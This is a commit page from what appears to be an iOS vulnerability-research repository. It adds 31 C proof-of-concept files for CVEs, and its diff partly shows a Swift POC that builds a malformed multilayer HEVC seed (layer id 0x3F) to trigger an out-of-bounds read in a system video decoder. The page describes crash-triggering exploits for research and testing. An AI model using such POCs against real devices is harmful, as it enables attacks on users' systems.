v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -1,19 +1,8 @@
|
||||
// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415
|
||||
// 原语: OOB 读 · 系统进程 · tier 2
|
||||
// Primitive: OOB read · system process · tier 2
|
||||
//
|
||||
// [zh] MVHEVC 层 ID 越界
|
||||
// 多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。
|
||||
//
|
||||
// [en] MVHEVC layer id out of range
|
||||
// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight
|
||||
// into the plugin's layer table index. iOS 27.2 adds layer id validation.
|
||||
// ── 判别 / oracle ──
|
||||
// 层 ID 取 0x3F(有效范围之外)。
|
||||
|
||||
// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
|
||||
// MVHEVC layer id out of range
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -34,7 +23,7 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
|
||||
// ── seed construction (from Cinder27 Sources: VideoPayload) ──
|
||||
enum VideoPayload {
|
||||
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
|
||||
var out = Data()
|
||||
|
||||
Reference in new issue
Block a user